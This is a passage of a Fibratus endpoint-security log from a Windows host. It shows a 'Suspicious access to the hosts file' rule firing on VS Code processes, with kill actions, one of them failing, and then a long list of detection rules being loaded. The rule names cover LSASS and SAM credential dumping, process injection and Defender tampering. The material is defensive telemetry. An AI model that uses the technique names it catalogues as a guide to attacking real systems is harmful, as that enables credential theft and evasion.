DriverData:C:\Windows\System32\Drivers\DriverData EFC_8520_1262719628:1 EFC_8520_1592913036:1 EFC_8520_2283032206:1 EFC_8520_2775293581:1 EFC_8520_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 5869322 + Pid: 4976 + Tid: 1672 + Type: CreateFile + CPU: 2 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-04 15:56:13.5869265 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffffe48445faf760, file_path➜ C:\WINDOWS\system32\drivers\etc\hosts, irp➜ ffffe4844c9f30f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 1672, type➜ Directory + Metadata: technique.id: T1562.001, technique.name: Impair Defenses - Disable or Modify Tools, technique.ref: https://attack.mitre.org/techniques/T1562/001/, tactic.id: TA0005, tactic.name: Defense Evasion, rule.seq.link: 16799552716157222912, rule.name: Suspicious access to the hosts file, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 4976 + Ppid: 8520 + Name: Code.exe + Parent name: explorer.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe"] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_4976_XOCBBUUJRKGSIZKA COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8520_1262719628:1 EFC_8520_1592913036:1 EFC_8520_2283032206:1 EFC_8520_2775293581:1 EFC_8520_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:4976 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:59:37+01:00 level=info msg=executing kill action: pids=[4976] rule=Suspicious access to the hosts file source=rules/engine.go:294 +time=2025-11-04T15:59:45+01:00 level=info msg=sending alert: [Suspicious access to the hosts file]. Text: Suspicious process C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe accessed the hosts file for potential tampering + Event(s): + Seq: 5872324 + Pid: 4976 + Tid: 8132 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 15:56:13.6511915 +0100 CET + Params: cmdline➜ "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1700,i,6817055833251376283,10464916918037333838,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mojo-platform-channel-handle=1864 /prefetch:11, directory_table_base➜ 3b8d08000, domain➜ ARCHRABBIT, exe➜ C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe, exit_status➜ Success, flags➜ , kproc➜ ffffe4843f7ca080, name➜ Code.exe, pid➜ 17892, ppid➜ 4976, real_ppid➜ 4976, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-04 15:56:13.65097 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.seq.link: 17015725498271006720, rule.name: Suspicious access to the hosts file, technique.id: T1562.001, technique.name: Impair Defenses - Disable or Modify Tools, technique.ref: https://attack.mitre.org/techniques/T1562/001/ + + Pid: 4976 + Ppid: 8520 + Name: Code.exe + Parent name: explorer.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe"] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_4976_XOCBBUUJRKGSIZKA COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8520_1262719628:1 EFC_8520_1592913036:1 EFC_8520_2283032206:1 EFC_8520_2775293581:1 EFC_8520_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:4976 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 5878705 + Pid: 17892 + Tid: 6192 + Type: CreateFile + CPU: 0 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-04 15:56:13.8477816 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffffe4844156c500, file_path➜ C:\WINDOWS\system32\drivers\etc\hosts, irp➜ ffffe48442de6848, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 6192, type➜ Directory + Metadata: technique.ref: https://attack.mitre.org/techniques/T1562/001/, tactic.id: TA0005, rule.seq.link: 17015725498271006720, rule.name: Suspicious access to the hosts file, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1562.001, technique.name: Impair Defenses - Disable or Modify Tools + + Pid: 17892 + Ppid: 4976 + Name: + Cmdline: + Exe: + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-04T15:59:45+01:00 level=info msg=executing kill action: pids=[17892] rule=Suspicious access to the hosts file source=rules/engine.go:294 +time=2025-11-04T15:59:45+01:00 level=error msg=unable to execute rule action: fail to execute action for "Suspicious access to the hosts file" rule: failed to kill pid 17892: Access is denied. source=rules/engine.go:252 +time=2025-11-04T16:00:09+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T16:00:09+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T16:02:08+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from 